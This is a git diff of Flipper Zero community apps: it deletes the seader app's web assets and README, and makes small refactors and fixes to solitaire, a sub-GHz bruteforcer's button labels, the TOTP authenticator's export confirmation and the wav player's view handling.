z-@a^%H$rC_v|A%eAOLPMlGaIp=eS{OVGb{T{&!I=zS}N&}in53MBBvY=-Uq zjf}hi+;k*7kuGpqfZYtK zbL6jd=J76#&`z+B7&4=+sS7t-5kxZH))L4qnbyc`!*-o*%}9zY#cC*G!{&q{%#2Y% zmr7`Njc9Ckk<3;jADTUXK3lLhtu*9pt&PuNg8;c3sTqZ{x#pnHDxJ_l!pP7$M}mKb zWej%;BXr(-Z-mY(&*0gN(7_^`I=~2>SDwMM8KHwkW`xcwvb?hyq4UbqG<05h2G3@M z4i=ed=)5A!JDU+YuRQU8Q)q_lziAEsGsPC!HddT3IIl>WkHEGS%ub{s2-a<@amcGdX?MzM!VfI0^ArhL}b<~RE+R*E`Md=}1C8AKa8q0wN}Tn@2gDS}R67Kn3_ zK*7e42f~L~R2HSgF8d{aDsT#}@AfE?qc~dz7ori`N7_B^gUKMvkO9iTtqFvFlz6a2=!NDD)VT8_oXF4{Y5xQeHB=>TLZgQB0&dsPf zp3ewvCdV98Fz?43p^eaa88yeV4V}>JuiHZiIscktDF{~JK<|1K2R-sIbG z|2<7$ALM8w=)(~h%L!EP-%s%Ma;&Ys6pf*rgS`~`-ie;}tG^WDZllmjh}(@h+_o+@ zn7X4Pm1?PCrtH~2Z10kIsI%L}v51R8~8=-qjRNrOS3C+0FXvc4Cg!UwCQ#T`YUP3p?d(z*H(6N%MjWa?Up)*mb8`Bt} z^Aj4^-9n)$_kx1#gudBXVj4Qr^I(L|PiTsXvrVh%h%};$7YHjDp);{r(-@)i6WaF> z%hAxcY3NLx9y+1fOSqwMQ-VBK)>zzcY;2{)5}FjzBNNu)hCW}vaCnl1zB353>r>Pt zg;cc1G~j1!V@}Kmm*EyeXxx3|X8Uf0owioePT5?`dMuYC_OAA1+_?17+)IxkbnZ2{ z`HawQNwy>N8lgLKBidTV&~0d3Z08F6jBV7i+dy#DlwveAiTzgzKZ{+&$T;$=If$Nz z*EDnnfp&R{x`rkXdVL|J&`kaMR?&Z)FQmQ{vJa3$NQ{8=E_gB#^QDO}Dl^nEELOOI?l#!_`Dwel!yqi~HY zmTu{zJs@Su65CAhN6V77xw}C1q^8DN76_ElUB0Pvv30Cmj zM_N7aGcF%`JzY~sg8w$^Pt||s;#lQFE15vzm~+1|5k`--U^;x%iv>2ja`5~n!mXaN zXBRt1VpxK|r@;E$Ek}aC9gW;!1`OTH5tHC=gf>EVMgpdxJ98`AS%_)q@W4ulhQ>C= zKkej66%xi1WW9Um3E$$PR?4_(0C+XCa}xIw{5PDhX~BY z&!eUcq@=*%6{+b4nRgY~NIR_&tT{^{ap?+Sd%^d(H+He(ZK1q^x$S)KYES#s35}+_ zMQGBPqnFFsgm@6py14r|L3UEZgTZlc&Wpk4K(eONW258nocL&Uw+7sGxcyk45xS>D z^<8$Gffe61%w|6$^lVCd4n7Obx1(@yrDfY%0$Q@^{RDeDN2q(!H8B6x0w>*G+t!74 zZQdrKcWu2n)`PjQk-*DZ8;!5~eFaxZY0_tq5XH%{zP54bS|Ri`0+Gy^fKTY>b)x?e z3Ej5fc@cy}6f~dKuGb&e5t?2Q+g@)`^BbY_-%cZRewljDXoU6_m3K!Yw7018cQiuh zm#Gmtzf8SnG(vle%DbZx+FMllI~t+$%hU*+U#8wO8lk;K<=xQ;?JcVO9orx@(KwDe zTPFWKS_Y|!n6K&C8`NG5K}kko^z*PN5k%(a%Vg|L&*R^X!R zHxW5-?e$$K^>uR-$HaK?RC(9xyp~(z8Ls(aE2k69Hq>UMl z1RyY_A2=v@xoQe^p=)N&D;{D@NoawKxi znRH<`xK|QDOH=+K`Do}|?Rx+GH6`iTpF5rRu|3|@ImLAH}(2#eD@`Qr(>Z&r6`{gYE!Q$ zC-K;8x3jR9KrXOp>h6vdWc*a4@Zws06_F5*Z=?k07*qoM6N<$f=^&H A;s5{u diff --git a/seader/web/fake_screenshot.png b/seader/web/fake_screenshot.png deleted file mode 100644 index f8dc322eda6f43044d78d5e46c55ab9fc82eba06..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4669 zcmeHLYfzJC7Cv8yA>2#^>Hu;{gwpOH0>vte$R*%~MY*l5P_+$%1zRp+Dz}0mmAKd< z3zk)Aq0k~Lt&M;e5NHBX>QEqS+yYT12tg?pked+*29tdg`eo|Cc7Hhgk3aeG&3Vsz z&U2pgob%?>(BPdWhE|3EU=p}1ARK^L3qUwVCZI2QqkGV=DKRj>Z*N-Z`2C>7b-mc% z!ou8Sm-#SBzr?$>)qqdB!AVo{*7(fM)j?VsrhK`&vfcE3t#nMe&ndq9^>5qs+548Qp6ZG50#RA^JqjS+h@;>qEbuj*C|T| zIL=+L;y;*%qys0YoG%XUOZ}3{A>+zZEOGWPKSSjZ{K&%6L>JFJWZ_d>ikOU`yo?S|<)#NCwO>ZUv1VU=Bmjz{8pCiIe&JUPvU-GR8wIbNPU73)A`dgFrTnw>Db z)t(N8Ykt!?POFsFpmA%4yY;9ae@$c3Ma50@q;WiriN4O{;_+BdWMZZ>@wbZldflJ} z$kw7fzm<1A?9Tz%YQ_a?ad=nX_@2WKMA;pb+xB5UXwZDVJ$}Bg(`u6`Ayk*(&MS|- z6oMN5S(H;YuEU(xh-lk|>ANl{4cRFi9hrrsMBin;rpVQlkmP|UmjrR*>>{7xHiUt7 zE-vS%6HC&kF6A%SqJZ_+<7oOzS+@L%=^9G|%)=1R%i`{=T;@D5^EryZUzeNT_?wh| zl|YQVo({p0-EnQwtD)Q7!T_@<#cwi><)$Zn_s9)F^@h%6r-xh?E{;J(h`{4?E%^8F zjenMP?IH_{wHbAPke3y>isKaTPHASJH3~TyU0no8xv3d;0P#Z^+vgUN>qx!@*H05% zxpi~b%e~bhcCtb)h<4)P%wAV|r46=fioXN@mXgBzKGn(qEB+J@@bO3l3Z@1XgGt4M zsV%X;ogE~oMk%i$|27zf-kVGG2c9yDeD0wbi6}<*AJ#V=vjUqcf%kFDx0fWBZ8jP@ z>O(Ss)YR0;S#N-dd*NmSayfZ3IL6S4%((BXKXeide$=z?*hUi5Wi4uj%cHSs-bvWq z&L9gfNbYsj^NmGY#3hL2t2^G>fqB&Dxfnj1n$PVlAh?X=Z1MEd{a>1$c+s(x*PF-anLl zWT8J6-BeE}V;;ppthh7n6E`b2Q3%@BuH$W?sJ_0DXiXY;#@%N#Xzk)6{G8u%)P#Kzcma5^mtSa@fsd-%1e7SoQd{9ot%A)+$Rv; zUfhR*RU>OSGhUghD|2+~vu2xMT`iSRyZ)_@Y<#vry%v1Q&2m;ai5ZQ+oWB4 zsO7?vE%ld*H^8B^+}0(t(&-M|K?Qg*^2Gy<-x`CS<r2eL#hGuPzVm zfxRTo{8uQ{tlCcTe+~6_5d2ba2F8bk`@N0Rc0sKs@6IXv<$a2Gyw5Bm{y#uoB#n|vD3Cvk;Y43qh@%CS46U>&$fx<#;{>>P+laU ze3Gt^5`;V=T^L_UbDB;?@S#Q$?(L?HO-om~+Tnv_I7%3mz-|Ladwhf~|6~!h9&e2- z8F1sY<7)2uir#9iuku25qu%azlOH1sTAV?&$eQ$*?b;=%>3F@QPw|=a66h^qB)%xD zgt4qB{I1hhpj&zQ|9}44Xllt)G|ai7Iagb!%*mgd%$h%@_A^5&$?eNhC{#ruYQ2M@ V4xjYqjGjYA5V$=!pqjxv@gF^#Z_EGy diff --git a/seader/web/favicon.ico b/seader/web/favicon.ico deleted file mode 100644 index d4de8fa055e08409ac5570afebfe30f2313e9cba..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15406 zcmeI1Ylu}<6o8M8<||)WA^q`|Qbt7n2#q3U(zO1RK~{#3kwi2je3W4bjTJqhNO~7O z#xm0~Q;C$)jPeDQh$)E~^+Q8QN=-9OYx=&Kv*UERcjk_B=H5Htf{(qeC>IMyp+b@rztrtbnK>9F*5e@Yejmf1n zPHQHb2$FC7hjfr!b0^1#c|tiFWpX?&l;c8U0p&#c426f`As7bEQ>aX#<4BkVQ)B%> z%0k7l?O_gRU){PwWd zjoEL+wVX}CZqCM(EBiCwLYNhd|m=$%OX-zpC}6{`82k?s2dj3e}Ld zXy2Sy1JA)~Xb%^{`(RG8trn^wZK-6!-O7&?K^!Bb#e zYw!OLurUW#fP1eU_&fF}tOwhC{;MHvG5-1B+?Jl-)B`@7>gI6Ew51ypRwfvM?s;lg zqAs-ep)O77$Yhx;yzi%BTULFB>we(9Nkh(OlD$yZ3_MeAhBSQex1>3?L*Ks{*B4qU zuKoAmyeD81`0g|ly#IT^cK~z2bTD@Np3T{mVL7Fm+7Q=E=-N0Kmxm~ig1)>0_OrbT z(vsvF{K%xntIgok&*=BVZ*g6ku`^}8B-cQ_9~kqu&;@Fs4$_XDDeEP<2JVOR;4?7a z_)6cJu`_+W7`HKsdXO3v>sl-JU?+PGye?Mk!3X0uR#C5s_12CZGxd^OgZY=Lt2|4RJplwcCN`=dRC{XZi^x5HRa zD!}uO?FYeqrM?aP#@HW9B_W4jfdd_4TvKzVXNDl^#$l|XZy)q>SpSvykvu>A!1brF zEC>4&eaqqe;F=GG$yu0p)`0I`o}u4_>^@%K4gN-yo48-5gWu5(!!1y5(gTM)C+EZS zoBsa}(;DeFn6{2kEOBk!GY6n91>9qv@rFP#q#H&SgLc#K-#NTbo=TA-?+@3@4`0FFTee)1J8LIU@6${nuqbn(8ocsB!i*d z5bU2o9|1F97x?XAA?Tye?-TGA>;ZG@R4}$Mehc~qP%QBoo(aLeGn7jDV0a_wOYmn1x@Wc7U`+aWJ1BQRh}Rg_Ku;)@ z3Qsx}Y=ali(hG#S6BID`> z<&<-BI!|T3TvTp3C!hbha*^kra?CmTV#v^t%th|?a?CmT{Lht($~EWYiy=D~m2=L? z7lXOT^JiH5!|0_v=j8J - -A [Flipper Zero](https://flipperzero.one/) application (aka "fap") to interface with a SAM from the Flipper Zero over UART. Latest release on the [App Catalog](https://lab.flipper.net/apps/seader). - -# FAQ - -See "Probably Frequently Asked Questions:" on Red Team Tools [NARD SAM expansion board product page](https://www.redteamtools.com/nard-sam-expansion-board-for-flipper-zero-with-hid-seos-iclass-sam/) - -# Download - -## Release - -Download release versions via the [Flipper App Catalog](https://lab.flipper.net/apps/seader) in the mobile companion apps. - -## Beta/Dev - -Download builds based off of git at [flipc](https://flipc.org/bettse/seader?branch=main) - -# Bugs - -File issues in [GitHub](https://github.com/bettse/seader/issues). - -# Hardware - -## Option 1: NARD Flipper add-on - -Buy it assembled at [Red Team Tools](https://www.redteamtools.com/nard-sam-expansion-board-for-flipper-zero-with-hid-seos-iclass-sam/), with or without SAM. - -Or build it yourself from the files in the [NARD repo](https://github.com/killergeek/nard). - -Optionally 3d print a [case designed by Antiklesys](https://www.printables.com/model/576735-flipper-zero-samnard-protecting-cover). - -## Option 2: Smart Card 2 Click - -Put SAM ([USA](https://www.cdw.com/product/hp-sim-for-hid-iclass-for-hip2-reader-security-sim/4854794) [EU](https://www.rfideas-shop.com/en/kt-sim-se-sim-card-hid-iclass-and-seos-for-sphip-r.html) [CA](https://www.pc-canada.com/item/hp-sim-for-hid-iclass-se-and-hid-iclass-seos-for-hip2-reader/y7c07a)) into **[adapter](https://a.co/d/1E9Zk1h)** (because of chip on top) and plug into **[reader](https://www.mikroe.com/smart-card-2-click)** (alt: [digikey](https://www.digikey.com/en/products/detail/mikroelektronika/MIKROE-5492/20840872) with cheaper US shipping). Connect reader to Flipper Zero (See `Connections` below). - -Optionally 3d print a [case designed by sean](https://www.printables.com/model/543149-case-for-flipper-zero-devboard-smart2click-samsim) - -### Connections - -| Smart Card 2 Click | Flipper | -| ------------------ | ----------- | -| 5v | 1 | -| GND | 8 / 11 / 18 | -| TX | 16 | -| RX | 15 | - -# Development - -See [repo readme](https://github.com/bettse/seader#seader). - - - ----- - - -[Buy Me A Coffee](http://buymeacoffee.com/bettse) - diff --git a/seader/web/robots.txt b/seader/web/robots.txt deleted file mode 100644 index eb0536286f3..00000000000 --- a/seader/web/robots.txt +++ /dev/null @@ -1,2 +0,0 @@ -User-agent: * -Disallow: diff --git a/solitaire/solitaire.c b/solitaire/solitaire.c index 9fadcffec38..6dccc99b514 100644 --- a/solitaire/solitaire.c +++ b/solitaire/solitaire.c @@ -457,17 +457,15 @@ void init_start(GameState* game_state) { } static void input_callback(InputEvent* input_event, void* ctx) { - furi_assert(ctx); FuriMessageQueue* event_queue = ctx; - + furi_assert(event_queue); AppEvent event = {.type = EventTypeKey, .input = *input_event}; furi_message_queue_put(event_queue, &event, FuriWaitForever); } static void update_timer_callback(void* ctx) { - furi_assert(ctx); FuriMessageQueue* event_queue = ctx; - + furi_assert(event_queue); AppEvent event = {.type = EventTypeTick}; furi_message_queue_put(event_queue, &event, 0); } diff --git a/subghz_bruteforcer/views/subbrute_main_view.c b/subghz_bruteforcer/views/subbrute_main_view.c index 1bd51298a9c..6c0a18f2de7 100644 --- a/subghz_bruteforcer/views/subbrute_main_view.c +++ b/subghz_bruteforcer/views/subbrute_main_view.c @@ -126,9 +126,9 @@ void subbrute_main_view_draw_is_byte_selected(Canvas* canvas, SubBruteMainViewMo // Switch to another mode if(model->two_bytes) { - elements_button_top_left(canvas, "Two bytes"); - } else { elements_button_top_left(canvas, "One byte"); + } else { + elements_button_top_left(canvas, "Two bytes"); } } diff --git a/totp/application.fam b/totp/application.fam index f291e85313b..328b3091593 100644 --- a/totp/application.fam +++ b/totp/application.fam @@ -7,7 +7,7 @@ App( requires=["gui", "cli", "dialogs", "storage", "input", "notification", "bt"], stack_size=2 * 1024, order=20, - fap_version="5.151", + fap_version="5.160", fap_author="Alexander Kopachov (@akopachov)", fap_description="Software-based TOTP/HOTP authenticator for Flipper Zero device", fap_weburl="https://github.com/akopachov/flipper-zero_authenticator", diff --git a/totp/cli/plugins/export/export.c b/totp/cli/plugins/export/export.c index 781e556aacb..e05155384c3 100644 --- a/totp/cli/plugins/export/export.c +++ b/totp/cli/plugins/export/export.c @@ -1,4 +1,6 @@ #include +#include +#include "../../../ui/constants.h" #include #include "../../../lib/polyfills/memset_s.h" #include "../../../services/config/config.h" @@ -57,19 +59,29 @@ static void handle(PluginState* plugin_state, FuriString* args, Cli* cli) { TOTP_CLI_PRINTF_WARNING("WARNING!\r\n"); TOTP_CLI_PRINTF_WARNING( "ALL THE INFORMATION (INCL. UNENCRYPTED SECRET) ABOUT ALL THE TOKENS WILL BE EXPORTED AND PRINTED TO THE CONSOLE.\r\n"); - TOTP_CLI_PRINTF_WARNING("Confirm? [y/n]\r\n"); - fflush(stdout); - char user_pick; - do { - user_pick = tolower(cli_getc(cli)); - } while(user_pick != 'y' && user_pick != 'n' && user_pick != CliSymbolAsciiCR && - user_pick != CliSymbolAsciiETX && user_pick != CliSymbolAsciiEsc); - - if(user_pick != 'y' && user_pick != CliSymbolAsciiCR) { + TOTP_CLI_PRINTF_WARNING("Confirm this action on your Flipper\r\n"); + + DialogMessage* message = dialog_message_alloc(); + dialog_message_set_buttons(message, "No", NULL, "Yes"); + dialog_message_set_text( + message, + "Would you like to\nEXPORT TOKENS AND\nUNENCRYPTED SECRETS?", + SCREEN_WIDTH_CENTER, + SCREEN_HEIGHT_CENTER - 8, + AlignCenter, + AlignCenter); + DialogMessageButton dialog_result = dialog_message_show(plugin_state->dialogs_app, message); + dialog_message_free(message); + + if(dialog_result != DialogMessageButtonRight) { TOTP_CLI_PRINTF_INFO("User has not confirmed\r\n"); return; } + if(!totp_cli_ensure_authenticated(plugin_state, cli)) { + return; + } + TokenInfoIteratorContext* iterator_context = totp_config_get_token_iterator_context(plugin_state); size_t total_count = totp_token_info_iterator_get_total_count(iterator_context); diff --git a/totp/version.h b/totp/version.h index 74a44676f8f..debb24eb984 100644 --- a/totp/version.h +++ b/totp/version.h @@ -1,5 +1,5 @@ #pragma once #define TOTP_APP_VERSION_MAJOR (5) -#define TOTP_APP_VERSION_MINOR (15) -#define TOTP_APP_VERSION_PATCH (1) \ No newline at end of file +#define TOTP_APP_VERSION_MINOR (16) +#define TOTP_APP_VERSION_PATCH (0) \ No newline at end of file diff --git a/wav_player/wav_parser.h b/wav_player/wav_parser.h index 1700e8e1899..6e9265bd87e 100644 --- a/wav_player/wav_parser.h +++ b/wav_player/wav_parser.h @@ -8,7 +8,7 @@ #include #include #include -#include +#include #include #include "wav_player_view.h" @@ -67,7 +67,7 @@ typedef struct { bool play; WavPlayerView* view; - ViewDispatcher* view_dispatcher; + ViewHolder* view_holder; Gui* gui; NotificationApp* notification; diff --git a/wav_player/wav_player.c b/wav_player/wav_player.c index 9b05aab38f2..be5279bf558 100644 --- a/wav_player/wav_player.c +++ b/wav_player/wav_player.c @@ -5,7 +5,7 @@ #include #include #include -#include +#include #include #include "wav_player_hal.h" #include "wav_parser.h" @@ -99,14 +99,13 @@ static WavPlayerApp* app_alloc() { app->play = true; app->gui = furi_record_open(RECORD_GUI); - app->view_dispatcher = view_dispatcher_alloc(); + app->view_holder = view_holder_alloc(); app->view = wav_player_view_alloc(); app->path = furi_string_alloc(); - view_dispatcher_add_view(app->view_dispatcher, 0, wav_player_view_get_view(app->view)); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); + view_holder_attach_to_gui(app->view_holder, app->gui); + view_holder_set_view(app->view_holder, wav_player_view_get_view(app->view)); app->notification = furi_record_open(RECORD_NOTIFICATION); notification_message(app->notification, &sequence_display_backlight_enforce_on); @@ -115,8 +114,8 @@ static WavPlayerApp* app_alloc() { } static void app_free(WavPlayerApp* app) { - view_dispatcher_remove_view(app->view_dispatcher, 0); - view_dispatcher_free(app->view_dispatcher); + view_holder_set_view(app->view_holder, NULL); + view_holder_free(app->view_holder); wav_player_view_free(app->view); furi_record_close(RECORD_GUI); diff --git a/wav_player/wav_player_view.h b/wav_player/wav_player_view.h index ca74f7c7fe1..42074e0f84a 100644 --- a/wav_player/wav_player_view.h +++ b/wav_player/wav_player_view.h @@ -8,7 +8,7 @@ #include #include #include -#include +#include #include #ifdef __cplusplus